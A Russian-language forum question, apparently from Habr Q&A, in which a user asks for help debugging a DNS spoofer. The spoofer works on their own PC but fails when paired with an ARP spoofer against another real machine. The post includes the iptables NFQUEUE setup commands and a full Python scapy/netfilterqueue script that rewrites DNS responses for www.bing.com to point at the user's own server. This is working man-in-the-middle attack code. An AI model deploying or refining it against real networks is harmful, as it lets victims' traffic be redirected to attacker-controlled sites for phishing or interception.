Задать вопрос
@Mikhail36589

Не могу провести атаку DNS spoof?

ВНИМАНИЕ, ВАЖНОЕ ОБНОВЛЕНИЕ ТЕМЫ!!!
ОШИБКА ЗАКЛЮЧАЕТСЯ В ТОМ, ЧТО ЕСЛИ Я ПРИМЕНЯЮ СКРИПТ НА СВОЕМ ПК ТО ОН РАБОТАЕТ, НО КОГДА Я ПЫТАЮСЬ ЕГО ИСПОЛЬЗОВАТЬ ВМЕСТЕ С ARP SPOOFER НА ДРУГОМ ПК, ТО ПОЧЕМУ ТО В ПАКЕТЕ, КОТОРЫЙ Я ПОЛУЧАЮ ОТСУТСТВУЕТ УРОВЕНЬ DNS
ПОЖАЛУЙСТА ПОМОГИТЕ МНЕ ЕСЛИ КТО-ТО ЗНАЕТ КАК ЭТО ИСПРАВИТЬ

Здравствуй хабр комьюнити, у меня случилась проблема в ходе тестировки моего DNS Spoofer.
Суть проблемы в том, что если я использую команды:
service apache2 start
iptables --flush
iptables -I INPUT -j NFQUEUE --queue-num 0
iptables -I OUTPUT -j NFQUEUE --queue-num 0
и тестирую спуфер на своем пк все работает нормально (сайт www.bing.com подменяется моим сайтом, который находится на 192.168.1.91)

Если я пытаюсь провести атаку на другом ПК(реальная, не виртуальная машина), используя ARP spoofer и DNS spoofer, перед этим прописав:
service apache2 start
iptables --flush
iptables -I FORWARD -j NFQUEUE --queue-num 0
, то мой спуфер ничего сделать целевому ПК не может (сразу говорю, что ARP spoofer работает отлично, плюс я его часто использовал вместе с Packet sniffer и все работало идеально, но если надо, то могу выложить и его исходный код)

ЗАРАНЕЕ СПАСИБО ЗА ВАШУ ПОМОЩЬ!!!

КОД:
#!/usr/bin/env python

import scapy.all as scapy
import netfilterqueue


def process_pack(packet):
    scapy_pack = scapy.IP(packet.get_payload())
    if scapy_pack.haslayer(scapy.DNSRR):
        print(scapy_pack.show())
        qname = scapy_pack[scapy.DNSQR].qname
        print(str(qname))
        if "www.bing.com" in qname:
            print("[+] Spoofing target, url >> " + qname)
            scapy_pack[scapy.DNS].ancount = 1
            answer = scapy.DNSRR(rrname=qname, rdata="192.168.1.91")
            scapy_pack[scapy.DNS].an = answer

            del scapy_pack[scapy.IP].len
            del scapy_pack[scapy.IP].chksum
            del scapy_pack[scapy.UDP].chksum
            del scapy_pack[scapy.UDP].len

            packet.set_payload(str(scapy_pack))
    packet.accept()


queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_pack)
queue.run()
  • Вопрос задан
  • 676 просмотров
Подписаться 3 Средний 22 комментария
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы